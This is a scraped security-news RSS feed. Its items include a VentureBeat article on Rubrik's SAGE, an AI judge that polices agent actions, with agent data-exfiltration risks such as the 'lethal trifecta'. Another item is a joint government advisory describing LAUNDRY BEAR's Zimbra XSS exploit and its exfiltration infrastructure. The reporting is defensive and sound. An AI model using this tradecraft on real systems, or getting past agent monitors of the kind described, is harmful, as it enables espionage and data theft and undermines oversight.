<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Cryptsetup 2.8.7 addresses the AF_ALG fallout affecting encrypted Linux systems. This guide walks you through updating cryptsetup across Ubuntu, Fedora, and Arch, verifying LUKS volumes work correctly, testing encryption performance, and troubleshooting boot issues to avoid failures.]]></content:encoded>
</item>
<item>
<title><![CDATA[ZDI-26-451: Docker Desktop for macOS Inference Server Permissive Allow List Sandbox Escape Vulnerability]]></title>
<description><![CDATA[This vulnerability allows local attackers to escape the model runner sandbox on affected installations of Docker Desktop for macOS. An attacker must first obtain the ability to execute low-privileged code within the sandbox in order to exploit this vulnerability. The ZDI has assigned a CVSS ratin...]]></description>
<link>https://tsecurity.de/de/3690363/sicherheitsluecken/zdi-26-451-docker-desktop-for-macos-inference-server-permissive-allow-list-sandbox-escape-vulnerability/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690363/sicherheitsluecken/zdi-26-451-docker-desktop-for-macos-inference-server-permissive-allow-list-sandbox-escape-vulnerability/</guid>
<pubDate>Fri, 24 Jul 2026 00:31:55 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[This vulnerability allows local attackers to escape the model runner sandbox on affected installations of Docker Desktop for macOS. An attacker must first obtain the ability to execute low-privileged code within the sandbox in order to exploit this vulnerability. The ZDI has assigned a CVSS rating of 8.8.]]></content:encoded>
</item>
<item>
<title><![CDATA[An AI now judges every move Rubrik's agents make, its AI chief said at VB Transform 2026 — but no one's measured if the judge is right]]></title>
<description><![CDATA[At a CISO roundtable organized by Anthropic's chief information security officer, Dev Rishi asked a simple question: Did everyone in the room have their AI governance and security policies written down? Every hand went up — about 14 people, by his count. His follow-up, about how anyone actually e...]]></description>
<link>https://tsecurity.de/de/3689833/it-nachrichten/an-ai-now-judges-every-move-rubriks-agents-make-its-ai-chief-said-at-vb-transform-2026-but-no-ones-measured-if-the-judge-is-right/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689833/it-nachrichten/an-ai-now-judges-every-move-rubriks-agents-make-its-ai-chief-said-at-vb-transform-2026-but-no-ones-measured-if-the-judge-is-right/</guid>
<pubDate>Thu, 23 Jul 2026 19:19:49 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>At a CISO roundtable organized by Anthropic's chief information security officer, Dev Rishi asked a simple question: Did everyone in the room have their AI governance and security policies written down? Every hand went up — about 14 people, by his count. His follow-up, about how anyone actually enforces those policies in practice, got a different response. "And everybody chuckled," Rishi, the GM of AI at <a href="https://www.rubrik.com/company">Rubrik</a>, recalled at <a href="https://venturebeat.com/vbtransform2026">VB Transform 2026</a> fireside chat in Menlo Park. "It was like the dirty secret in the room that everyone has these policies, but no way to actually make them real."</p><p>“Our founder and CTO has actually been really pushing to enable our agents in YOLO mode,” Rishi told the audience. That admission comes from a publicly traded data security firm whose business is backing up what he called the most important data in the world.</p><p>YOLO mode strips the permission prompt out of agent workflows and lets the agent act on its own. In Rubrik's version, a second AI judges every action in real time against policy in place of a human clicking approve. Rubrik is running the experiment on itself first. Rishi treats autonomy as a settled capability question and an open judgment question. "If you ask the agent to act autonomously, it will," he said. "It's a question that you have internally. Should it?"</p><p>Rubrik earned that question the hard way. When <a href="https://claude.com/product/claude-code">Claude Code</a> and <a href="https://www.anthropic.com/product/claude-cowork">Cowork</a> pilots rolled out, the company required every command to run in ask mode so the employee issuing it carried the liability, and the developer pushback filled a single Slack thread 120 messages deep. </p><p>"The developers basically are pushing back, and they're like, this is like the iTunes service agreement. I'm just hitting check, check, check, check, check, check, check," Rishi said. "There's no way that I can actually read through this. And it becomes security theater." Roughly 80% of respondents are in the same bind, Rishi said, citing <a href="https://www.rubrik.com/company/newsroom/press-releases/26/as-agentic-ai-adoption-accelerates-rubrik-warns-of-growing-security-gaps">Rubrik Zero Labs research</a> that found monitoring and approving agent actions takes more time than the agents save. The State of the Agent, the April report behind that figure, surveyed more than 1,600 IT and security leaders.</p><p>SAGE is the reason Rubrik trusts the bet. Short for Semantic AI Governance Engine, SAGE is the arbitration layer inside <a href="https://www.rubrik.com/products/rubrik-agent-cloud">Rubrik Agent Cloud</a> that watches every action an agent takes and reads the semantic intent behind it, then rules the action in or out against policies written in natural language. "We took what people said was human in the loop, a good idea, and we replaced it with AI in the loop," Rishi said, describing the pitch to security chiefs he characterized as skittish about non-deterministic systems.</p><h2>Security approval, not cost, blocks AI ROI</h2><p>Rishi’s path to Rubrik ran through <a href="https://techcrunch.com/2025/06/25/rubrik-acquires-predibase-to-accelerate-adoption-of-ai-agents/">Predibase</a>, the generative AI infrastructure startup he co-founded and ran as CEO until Rubrik agreed to acquire it in June 2025. Before that, he led ML product at Google on the team that became Vertex AI, served as Kaggle's first product manager as it grew from about one million to ten million users, and holds bachelor's and master's degrees in computer science from Harvard. </p><p>Over roughly his first three and a half months at Rubrik, Rishi set up 200 customer conversations with IT and security leaders across a customer base that looks like the Global 2000, asking open-ended questions about cost, latency, performance, and orchestration. "Pretty consistently, what I heard through all of those conversations was that all of those are pretty secondary," he said. "The main challenge is actually, how do I get this approved from a security and risk standpoint? I'm concerned about all the different things that could go wrong. Actually, I felt like that was one of the biggest things constraining ROI."</p><p><a href="https://venturebeat.com/orchestration/wall-street-is-debating-the-ai-buildout-enterprises-just-answered-86-say-their-gpus-run-at-half-capacity-or-less">VentureBeat Pulse research</a> presented on the Transform stage earlier in the day confirms the gap Rishi kept hearing. Two-thirds of enterprises, 66%, already allow or are actively building toward production deployment with zero human review, yet only 5% fully trust the automated evaluations that would make that decision. </p><h2>One AI reading what the rulebook can't</h2><p>Rubrik's own policies exposed why written rules fail as enforcement. One internal rule states that agents should respect Rubrik's customer data use policy, which sounds enforceable until someone tries. "Rubrik's customer data use policy is like a three-page document of legal text," Rishi said. "I have no idea how to write that in there as a rule." Asked on stage how a team of AI infrastructure people took on a problem that security engineers own, Rishi answered, "with a lot of naivety and innocence, honestly." His team bet that models good at understanding language could police other models, and SAGE became the answer.</p><p>The case for putting a model in the judgment seat comes down to precision. A rule like "agents should not be able to edit revenue fields in Salesforce" fails in conventional tooling because Salesforce does not delineate which fields count as revenue, Rishi explained, so administrators fall back on approving every Salesforce action by hand. SAGE reads the intent instead and acts as a judge, carrying organizational context, which can tell a benign lookup from the edit the policy prohibits.</p><p>Keeping the judge small is what makes the economics work. <!-- -->SAGE runs on a small language model that Rishi said operates at an order of magnitude lower cost and latency than a frontier LLM. "If I told you, don't worry, you're gonna be secure and governed, but I'm gonna double your cost and latency, you would tell me to get out of the room," Rishi said.</p><p>When Rishi asked who in the audience had worried about token consumption over the past year, half the hands went up. "And I guess the other half is probably just too lazy to raise their hand," he said.</p><p>SAGE is an aggregation of judges based on parameter-efficient fine-tuning that Rubrik uses to take on task-specific variants of a base model with shared organizational context. One judge watches for tool-use hallucinations while another suppresses PII before it can leave, each running as its own enforceable policy. Security and GRC teams have started writing financial rules into the same layer, including one internal policy barring AI spend on personal projects.</p><h2>The lethal trifecta</h2><p>Asked which attacks worry him most, Rishi pointed at the <a href="https://simonwillison.net/2025/Jun/16/the-lethal-trifecta/">lethal trifecta</a>, the term security researcher Simon Willison coined in June 2025 for an agent that holds private data while taking in content nobody vetted, with a channel to send what it finds to the outside world. The danger, according to Rishi, is what happens when individually legitimate permissions stack. An agent granted Salesforce access and email access on an employee's credentials has done nothing wrong yet, with <i>yet</i> being the operative word. "A very simple example is that an agent can start pulling data from Salesforce and then decide to accidentally leak and exfiltrate that out via an email," he told the audience. A financial services company he met the morning of the session made the point for him, telling Rishi that none of the individual permissions are bad on their own and the agent needs every one of them to do its job. "It should have permission to each of those systems, but it's the combination that ends up becoming really destructive," Rishi said.</p><p>Traditional identity and access management never priced in that combination because it relied on the judgment of the employee holding the credentials, Rishi argued, and agents supply none. "I can tell you the number of times Claude Code has tried to leak some of our sensitive source code to a public GitHub repository is incredibly high," he said. Cutting agents off from public resources entirely would defeat their purpose, which returns the problem to adjudicating intent in context rather than revoking access.</p><p>A separate <a href="https://venturebeat.com/security/shared-api-keys-expose-ai-agent-fleets-venturebeat-research">VentureBeat June Pulse survey</a> of 107 qualified enterprise respondents maps the blast radius of exactly this pattern. On the Transform stage that morning, VentureBeat research reported that 69% of companies run credential sharing somewhere in their agent fleet. Companies with shared credentials anywhere got hit more often, reporting a security incident or near-miss at a 63.5% rate (47 of 74), against 40.9% (9 of 22) where every agent carries its own scoped identity.</p><h2>The attacks no single turn reveals</h2><p>Rubrik Agent Cloud reached <a href="https://www.rubrik.com/blog/company/26/2/introducing-rubrik-agent-cloud-control-your-agents-with-ai">general availability in February</a>, though not everything Rishi described ships in it yet. Backtesting is just starting to roll out. The feature replays an organization's historical agent actions and tool calls against a new policy, showing where the policy would have stepped in and where an action would have sailed through uncaught, with policy edits applied in real time. Rishi called that archive one of the most valuable data troves an enterprise holds.</p><p>Real-time detection and blocking turn out to be the entry point rather than the whole product. Some attacks never trip a single-action rule. "No individual turn of the conversation was problematic, but if you took the session as a full trace, that ended up being problematic," Rishi said. Agent Cloud runs batch analysis across entire session traces every hour or every day and surfaces what Rubrik calls insights, the problems no individual guardrail caught. The same Zero Labs report found that 88% say they lack the ability to roll back agent actions without system disruption, a recovery gap that sits squarely in Rubrik's original line of business.</p><p>A skeptical CISO will ask the question the fireside did not answer. SAGE is a non-deterministic model policing other non-deterministic models, and Rishi offered no false positive or false negative rate for the judge itself. The closest thing the architecture gives to an answer is auditability, since backtesting and the batch insights both leave a human-reviewable trail of each call SAGE made and whatever got past it. Who watches the watcher, for now, is a trail of receipts rather than a benchmark. Until that benchmark exists, AI in the loop stays an operational wager rather than a quantified control.</p><p>Three questions fall out of the session for security teams. How many of the guardrails now in production depend on a human clicking approve, and what happens to that workload as agent count grows? Does anything in the stack enforce semantic intent, or is it all allow and deny lists? And can the team backtest agent behavior against a new policy, then unwind a multi-turn session without taking systems down?</p><p>Rishi's timing has a market behind it. In the same VentureBeat research, 82% of enterprises still name their primary AI provider's built-in guardrails and cloud controls as their main agent security layer, and 59% plan to adopt, add, or replace agent security tooling within the next 12 months. Only 12% include an agent-identity product in what they are considering, even with credential sharing still the norm. Every CISO at that Anthropic roundtable had a policy document and no enforcement mechanism, and Rubrik built a product for the space between the two. YOLO mode is the bet that an AI watching other AIs can finally make the policies real.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[macOS: Verschlüsselte HFS+ Laufwerke lassen sich direkt in APFS umwandeln]]></title>
<description><![CDATA[Ab macOS 28 unterstützt Apple das alte Dateisystem Mac OS Extended, besser bekannt als HFS+, nur noch auf unverschlüsselten Volumes. Verschlüsselte Festplatten, SSDs und andere Datenträger in diesem Format müssen Nutzer vor dem Update umstellen. Apple hat die zugehörige Support-Seite jetzt überar...]]></description>
<link>https://tsecurity.de/de/3689492/ios-mac-os/macos-verschluesselte-hfs-laufwerke-lassen-sich-direkt-in-apfs-umwandeln/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689492/ios-mac-os/macos-verschluesselte-hfs-laufwerke-lassen-sich-direkt-in-apfs-umwandeln/</guid>
<pubDate>Thu, 23 Jul 2026 17:25:32 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Ab macOS 28 unterstützt Apple das alte Dateisystem Mac OS Extended, besser bekannt als HFS+, nur noch auf unverschlüsselten Volumes. Verschlüsselte Festplatten, SSDs und andere Datenträger in diesem Format müssen Nutzer vor dem Update umstellen. Apple hat die zugehörige Support-Seite jetzt überarbeitet und einen Weg ergänzt, der ohne vorherige Entschlüsselung auskommt. Konvertierung läuft über das […]]]></content:encoded>
</item>
<item>
<title><![CDATA[Russian State-Supported Cyber Actors Conduct Phishing Campaign Targeting Users of Zimbra Collaboration Suite]]></title>
<description><![CDATA[Russian State-Supported Cyber Actors Conduct Phishing Campaign Targeting Users of Zimbra Collaboration Suite
Executive summary 
A group of Russian state-supported cyber actors has been targeting and compromising various Western government and commercial organizations using the Zimbra Collaboratio...]]></description>
<link>https://tsecurity.de/de/3689407/sicherheitsluecken/russian-state-supported-cyber-actors-conduct-phishing-campaign-targeting-users-of-zimbra-collaboration-suite/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689407/sicherheitsluecken/russian-state-supported-cyber-actors-conduct-phishing-campaign-targeting-users-of-zimbra-collaboration-suite/</guid>
<pubDate>Thu, 23 Jul 2026 16:59:29 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div class="c-page-title__buttons"><a class="c-button" href="https://media.defense.gov/2026/Jul/22/2003965244/-1/-1/1/CSA_RUSSIA_PHISHING_TARGET_ZIMBRA.PDF">Russian State-Supported Cyber Actors Conduct Phishing Campaign Targeting Users of Zimbra Collaboration Suite</a></div>
<h2><strong>Executive summary</strong> </h2>
<p>A group of Russian state-supported cyber actors has been targeting and compromising various Western government and commercial organizations using the Zimbra Collaboration Suite (ZCS) software since at least July 2025. The Russian state-supported advanced persistent threat (APT) group’s activity is tracked in the cybersecurity community under several names (see <a href="https://www.cisa.gov/#cyber1">Cybersecurity industry tracking</a>), primarily as “LAUNDRY BEAR,” a name initially coined by the Netherlands General Intelligence and Security Service (AIVD) and Defence Intelligence and Security Service (MIVD) [<a href="https://www.cisa.gov/#wc1">1</a>].</p>
<p>LAUNDRY BEAR’s targeting is almost certainly to gather sensitive information for the Russian Federation, with these actors primarily focusing on the covert acquisition of email data. Previous campaigns indicated LAUNDRY BEAR relied on unsophisticated initial access techniques—including password spraying, phishing, and pass-the-cookie—allowing the group to successfully run high-volume operations. The latest campaign targeting ZCS uses a novel exploit that was a zero-day vulnerability when first exploited and continues to be successfully exploited. The vulnerability, Common Vulnerabilities and Exposures (CVE) <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a>, was patched in November 2025. This demonstrates LAUNDRY BEAR’s intent and ability to deploy increasingly sophisticated technical capabilities.</p>
<p>Unlike traditional phishing campaigns that persuade a user into taking an action, such as clicking a link or opening a file, LAUNDRY BEAR’s latest campaign leverages a view-based exploit that only requires a user to view a malicious email within a vulnerable version of the webmail service. Once viewed, the exploit attempts to exfiltrate the victim’s last 90 days of email communications, the organization email directory (i.e., Global Address List [GAL]), and other sensitive information to servers controlled by LAUNDRY BEAR. The exploit also attempts to establish persistent access to victim accounts through a variety of means as detailed in the <a href="https://www.cisa.gov/#persistence1">Persistence and credential access</a> section.</p>
<p>This Cybersecurity Advisory (CSA) warns of this ongoing malicious threat activity and urges organizations to update their vulnerable software and implement additional mitigations to thwart these Russian state-supported actors’ continued success. The CSA is being released by the following authoring and co-sealing agencies:</p>
<ul>
<li>United States National Security Agency (NSA)</li>
<li>United States Federal Bureau of Investigation (FBI)</li>
<li>Netherlands Defence Intelligence and Security Service (MIVD)</li>
<li>Netherlands General Intelligence and Security Service (AIVD)</li>
<li>United States Cybersecurity and Infrastructure Security Agency (CISA)</li>
<li>United States Defense Counterintelligence and Security Agency (DCSA)</li>
<li>United States Department of Defense Cyber Crime Center (DC3)</li>
<li>United States Department of the Treasury</li>
<li>United States Naval Criminal Investigative Service (NCIS)</li>
<li>Australian Signals Directorate’s Australian Cyber Security Centre (ASD’s ACSC)</li>
<li>Communications Security Establishment Canada’s (CSE’s) Canadian Centre for Cyber Security (Cyber Centre)</li>
<li>New Zealand National Cyber Security Centre (NCSC-NZ)</li>
<li>United Kingdom National Cyber Security Centre (NCSC-UK)</li>
<li>Czech Republic National Cyber and Information Security Agency (NÚKIB)<a href="https://www.cisa.gov/#f1"><sup>1</sup></a></li>
<li>Danish Defence Intelligence Service (DDIS)<a href="https://www.cisa.gov/#f2"><sup>2</sup></a></li>
<li>Estonian Foreign Intelligence Service (EFIS)<a href="https://www.cisa.gov/#f3"><sup>3</sup></a></li>
<li>Finnish Defence Intelligence (FDI)<a href="https://www.cisa.gov/#f4"><sup>4</sup></a></li>
<li>Finnish Security and Intelligence Service (SUPO)<a href="https://www.cisa.gov/#f5"><sup>5</sup></a></li>
<li>French General Directorate for Internal Security (DGSI)<a href="https://www.cisa.gov/#f6"><sup>6</sup></a></li>
<li>French National Cybersecurity Agency (ANSSI)<a href="https://www.cisa.gov/#f7"><sup>7</sup></a></li>
<li>Italian External Intelligence and Security Agency (AISE)<a href="https://www.cisa.gov/#f8"><sup>8</sup></a></li>
<li>Italian Internal Intelligence and Security Agency (AISI)<a href="https://www.cisa.gov/#f9"><sup>9</sup></a></li>
<li>Security and Intelligence Service of the Republic of Moldova (SIS RM)<a href="https://www.cisa.gov/#f10"><sup>10</sup></a></li>
<li>Polish Foreign Intelligence Agency (AW)<a href="https://www.cisa.gov/#f11"><sup>11</sup></a></li>
<li>The Military Counterintelligence Service of Poland (SKW)<a href="https://www.cisa.gov/#f12"><sup>12</sup></a></li>
<li>Spain National Intelligence Centre (CNI)<a href="https://www.cisa.gov/#f13"><sup>13</sup></a></li>
<li>Sweden National Cyber Security Centre (NCSC-SE)<a href="https://www.cisa.gov/#f14"><sup>14</sup></a></li>
</ul>
<p>The authoring agencies urge any organizations using ZCS to implement the recommendations listed within the <a href="https://www.cisa.gov/#mitigations1">Mitigations</a> section of this advisory to reduce the risk associated with this activity. This CSA also includes specific remediations for organizations to implement if they discover the presence of the listed <a href="https://www.cisa.gov/#ioc1">Indicators of compromise</a> (IOCs).  </p>
<p>As more organizations update their ZCS software based on this CSA, LAUNDRY BEAR may discontinue the current campaign exploiting this vulnerability; however, based on the success of this and previous campaigns, it is very likely that the group will continue to target ZCS and other email systems used by organizations in Western countries. The actors will almost certainly continue to rely on email to engage potential victims by exploiting novel vulnerabilities and, when necessary, use social engineering techniques to assist with their efforts. The authoring agencies recommend organizations regularly update their mail service software and continuously monitor their email systems and emails for malicious activity.</p>
<p>For a downloadable list of IOCs, see:</p>
<ul>
<li><a href="https://www.cisa.gov/sites/default/files/2026-07/AA26-204A.stix_.xml">AA26-204A.stix.xml</a> (STIX XML)</li>
<li><a href="https://www.cisa.gov/sites/default/files/2026-07/AA26-204A.stix_.json">AA26-204A.stix.json</a> (STIX JSON)</li>
</ul>
<h2><strong>Cybersecurity industry tracking</strong><a class="ck-anchor"></a></h2>
<p>The cybersecurity industry provides overlapping cyber threat intelligence, indicators of compromise (IOCs), and mitigation recommendations related to these Russian state-supported cyber actors. While not exhaustive, the following are threat group names commonly used for these actors within the cybersecurity community:</p>
<ul>
<li>LAUNDRY BEAR</li>
<li>Void Blizzard [<a href="https://www.cisa.gov/#wc2">2</a>]</li>
<li>CL-STA-1114 [<a href="https://www.cisa.gov/#wc3">3</a>]</li>
<li>TA488 (formerly UNK_PitStop) [<a href="https://www.cisa.gov/#wc4">4</a>]</li>
</ul>
<p><strong>Note:</strong> Cybersecurity companies have different methods of tracking and attributing cyber actors, and this may not be a 1:1 correlation to the U.S. government’s understanding for all activity related to these groupings.</p>
<h2><strong>Background</strong></h2>
<p>Public advisories from Netherlands General Intelligence and Security Service (AIVD), Netherlands Defence Intelligence and Security Service (MIVD), and Microsoft highlighted these Russian state-supported advanced persistent threat (APT) actors in May 2025, calling them LAUNDRY BEAR and Void Blizzard respectively [<a href="https://www.cisa.gov/#wc1">1</a>] [<a href="https://www.cisa.gov/#wc2">2</a>]. Both advisories assessed that the group was engaged in malicious cyber activity as early as April 2024.  </p>
<p>The May 2025 advisories highlighted a cluster of activity targeting cloud-based email environments, including Microsoft Exchange in particular, and abusing legitimate APIs to perform data exfiltration in bulk [<a href="https://attack.mitre.org/versions/v19/techniques/T1114/002/" target="_blank">T1114.002</a>]. The group relied on unsophisticated means of initial access, including procuring stolen credentials on criminal marketplaces [<a href="https://attack.mitre.org/versions/v19/techniques/T1078/" target="_blank">T1078</a>], and using social engineering techniques to lure targets into interacting with a malicious site masquerading as a legitimate one. As of April 2025, one of these sites resembled a European Defence &amp; Security Summit registration portal that required registrants to sign in to their Microsoft account to view. Once a user entered their Microsoft credentials into this malicious site, LAUNDRY BEAR’s modified version of the open source adversary emulation toolkit, Evilginx, intercepted the user’s credentials. LAUNDRY BEAR then used this authentication data, including passwords and session tokens, to access the compromised account and conduct mass email exfiltration, as well as harvest other information. This method of compromise is commonly known as an adversary-in-the-middle (AiTM) technique [<a href="https://attack.mitre.org/versions/v19/techniques/T1557/" target="_blank">T1557</a>].  </p>
<p>Beginning around July 2025, LAUNDRY BEAR shifted toward a more technical method of email compromise, highlighting their continued efforts to covertly acquire email communications from a variety of Western organizations of interest and deliver them to the Russian Federation. Using a custom-developed capability [<a href="https://attack.mitre.org/versions/v19/techniques/T1587/001/" target="_blank">T1587.001</a>] named “<em>Улей</em>” or “<em>Ulej</em>” (Russian for beehive), LAUNDRY BEAR successfully targeted and exfiltrated sensitive user information from organizations who use the Zimbra Collaboration Suite (ZCS) product [<a href="https://attack.mitre.org/versions/v19/techniques/T1114/" target="_blank">T1114</a>]. Data LAUNDRY BEAR attempted to exfiltrate from compromised accounts included:</p>
<ul>
<li>Last 90 days of emails,</li>
<li>Email address,</li>
<li>Password [<a href="https://attack.mitre.org/versions/v19/techniques/T1589/001/" target="_blank">T1589.001</a>],</li>
<li>Global Address List (GAL) [<a href="https://attack.mitre.org/versions/v19/techniques/T1087/" target="_blank">T1087</a>],</li>
<li>Two-factor authentication (2FA) tokens, and</li>
<li>Newly-created Application Passcode [<a href="https://attack.mitre.org/versions/v19/techniques/T1098/" target="_blank">T1098</a>].</li>
</ul>
<p>The covert and persistent nature of this activity, along with the absence of any known financial extortion, almost certainly indicates this group’s involvement in espionage activities with Russian government backing. Additionally, extensive Ukrainian targeting, prior to use against U.S. and other NATO allies, outlines an increasing trend within Russian cyber threat groups to target Ukrainian users first—both as a priority target and as a testbench for malicious cyber techniques before broader global deployment.</p>
<h2><strong>Targeting details</strong></h2>
<p>LAUNDRY BEAR has targeted and compromised users in various organizations, including those associated with:</p>
<ul>
<li>the Defense Industrial Base (DIB),  </li>
<li>the federal and local government,</li>
<li>education,</li>
<li>energy,</li>
<li>law enforcement,  </li>
<li>media,  </li>
<li>non-governmental organizations, and</li>
<li>technology.</li>
</ul>
<h2><strong>Technical details</strong></h2>
<p><strong>Note:</strong> This advisory uses the <a href="https://attack.mitre.org/versions/v19/matrices/enterprise/" target="_blank">MITRE ATT&amp;CK® Matrix for Enterprise</a> framework, version 19. This advisory also uses <a href="https://d3fend.mitre.org/" target="_blank">MITRE D3FEND<sup>TM</sup></a> version 1.4.0<a href="https://www.cisa.gov/#f15"><sup>15</sup></a>. See <a href="https://www.cisa.gov/#appendixa">Appendix A</a> and <a href="https://www.cisa.gov/#appendixb">Appendix B</a> for tables of the activity mapped to MITRE ATT&amp;CK and D3FEND tactics, techniques, and countermeasures.</p>
<p><em>Ulej </em>is a novel data exfiltration and aggregation capability, that currently (as of the publication of this report) supports a campaign specifically targeting users of ZCS webmail servers. This capability is used to exploit <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a> [Common Weakness Enumeration (CWE) <a href="https://cwe.mitre.org/data/definitions/79.html" target="_blank">CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'</a>)], but likely could be adapted to exploit other vulnerabilities. It exfiltrates emails and other sensitive user data from a victim’s system immediately after exploitation and stores the data in an actor-controlled unattributable virtual private server (VPS) [<a href="https://attack.mitre.org/versions/v19/techniques/T1074/002/" target="_blank">T1074.002</a>] running LAUNDRY BEAR’s “Flowerbed” collection framework. The collected data is almost certainly further exfiltrated to internal network resources for review and long-term retention.</p>
<h3><em><strong>Reconnaissance</strong></em></h3>
<p>LAUNDRY BEAR uses the <em>Ulej </em>capability to exploit the <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a> vulnerability in organizations using ZCS. This campaign’s targeted victimology and limited exploitation capabilities likely indicate this group manually identifies and targets the victim organizations. LAUNDRY BEAR likely identifies organizations with public-facing Zimbra infrastructure by port scanning [<a href="https://attack.mitre.org/versions/v19/techniques/T1595/" target="_blank">T1595</a>] and fingerprinting datasets easily procured through various commercial vendors [<a href="https://attack.mitre.org/versions/v19/techniques/T1596/005/" target="_blank">T1596.005</a>].  </p>
<p>After identifying a target organization, the group likely compiles email addresses for individual users to target with the exploit [<a href="https://attack.mitre.org/versions/v19/techniques/T1589/002/" target="_blank">T1589.002</a>] from datasets offered by commercial vendors [<a href="https://attack.mitre.org/versions/v19/techniques/T1597/002/" target="_blank">T1597.002</a>], open source intelligence [<a href="https://attack.mitre.org/versions/v19/techniques/T1593/" target="_blank">T1593</a>], or previously exfiltrated data [<a href="https://attack.mitre.org/versions/v19/techniques/T1597/" target="_blank">T1597</a>].  </p>
<h3><em><strong>Resource development </strong></em><a class="ck-anchor"></a></h3>
<p>The actors procure VPSs from a variety of providers [<a href="https://attack.mitre.org/versions/v19/techniques/T1583/003/" target="_blank">T1583.003</a>], including those with Know Your Customer (KYC) requirements, and often use fabricated identities. LAUNDRY BEAR primarily uses Mullvad VPN [<a href="https://attack.mitre.org/versions/v19/techniques/T1583/">T1583</a>] when interacting with these servers, further demonstrating the group’s intent to mask their identity and maintain operations security (OPSEC). After the server is provisioned, an automated process deploys the Docker containers necessary for <em>Ulej’s</em> Flowerbed framework [<a href="https://attack.mitre.org/versions/v19/techniques/T1608/">T1608</a>], which then receives and aggregates the data <em>Ulej</em> exfiltrates. These servers are typically only used for 7-60 days before moving to new infrastructure.</p>
<h4><strong>Flowerbed framework</strong></h4>
<p>Flowerbed is a Python project that uses Docker for containerization. The project includes four different Docker containers:</p>
<ul>
<li>Catcher,</li>
<li>Certbot,</li>
<li>Nginx, and</li>
<li>Gardener.</li>
</ul>
<p>Catcher acts as both a DNS and HTTP server to receive and aggregate exfiltrated victim information [<a href="https://attack.mitre.org/versions/v19/techniques/T1048/">T1048</a>]. For additional information on Catcher, refer to the <a href="https://www.cisa.gov/#exfil1">Exfiltration</a> section of this advisory. Flowerbed’s next container, Certbot, is based on one of the official Certbot containers, which allows for automated generation of Let’s Encrypt certificates using DNS challenges through Cloudflare. This certificate can then be used by the Nginx container, which serves as an HTTPS reverse proxy for Catcher, enabling Flowerbed to disguise some of its exfiltration activity through an encrypted communications channel [<a href="https://attack.mitre.org/versions/v19/techniques/T1048/002/" target="_blank">T1048.002</a>]. The Nginx reverse proxy also validates that the Server Name Indicator (SNI) value contains “*.i.*” prior to forwarding the traffic to Catcher. If the SNI does not contain that string, the Nginx server returns a 444 error to the client. This is likely an attempt to reject non-Ulej connections. Finally, the Gardener container functions as a health check for the Catcher service. Gardener is a simple Python script that validates Catcher correctly receives and processes data.</p>
<p>The simplistic Flowerbed codebase has indications that artificial intelligence (AI) played a role in its development. This highlights how AI is increasingly being used to develop malicious capabilities [<a href="https://attack.mitre.org/versions/v19/techniques/T1588/007/" target="_blank">T1588.007</a>]. The dependence on AI for a simple capability, such as Flowerbed, alongside a previous reliance on open source capabilities, such as Evilginx2 [<a href="https://attack.mitre.org/versions/v19/techniques/T1588/002/" target="_blank">T1588.002</a>], likely indicates a lack of advanced technical knowledge within LAUNDRY BEAR, especially in relation to true software development capabilities.</p>
<h3><em><strong>Initial access</strong></em></h3>
<p>To gain initial access, LAUNDRY BEAR sends an email containing a malicious JavaScript payload to the target [<a href="https://attack.mitre.org/versions/v19/techniques/T1566/" target="_blank">T1566</a>]. Through exploitation of <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a>, this JavaScript payload is immediately executed once the user views the malicious email [<a href="https://attack.mitre.org/versions/v19/techniques/T1203/" target="_blank">T1203</a>], such as the one shown in <a href="https://www.cisa.gov/#figure1"><strong>Figure 1</strong></a>, in the ZCS webmail platform. Since at least November 2025, LAUNDRY BEAR began sending these phishing emails from victim infrastructure through compromised accounts [<a href="https://attack.mitre.org/versions/v19/techniques/T1199/" target="_blank">T1199</a>], as shown in the email metadata in <a href="https://www.cisa.gov/#figure2"><strong>Figure 2</strong></a>. These compromised accounts were likely previous victims of this, or another LAUNDRY BEAR, campaign and their use is intended to further obfuscate and frustrate anti-phishing tools and training.</p>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/figure1.png?itok=yrzcl7tK" width="604" height="235" alt="Figure 1: Example of malicious email">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 1: Example of malicious email</strong></em></figcaption>
  </figure>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/figure2.png?itok=vEulmmyx" width="604" height="102" alt="Figure 2: Headers from an example malicious email">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 2: Headers from an example malicious email</strong></em></figcaption>
  </figure>
<p>According to the National Vulnerability Database (NVD), <a href="https://nvd.nist.gov/vuln/detail/CVE-2025-66376" target="_blank">CVE-2025-66376</a> was initially published on 5 January 2026. This vulnerability allows for execution of a JavaScript payload included in email content due to improper sanitization of Cascading Style Sheet’s (CSS) @import directives within an email [<a href="https://www.cisa.gov/#wc5">5</a>]. Because the activity attributed to this campaign began in July 2025—months before Synacor released a patch and the CVE was published—the payload initially exploited a zero-day vulnerability at that time [<a href="https://attack.mitre.org/versions/v19/techniques/T1587/004/" target="_blank">T1587.004</a>].  </p>
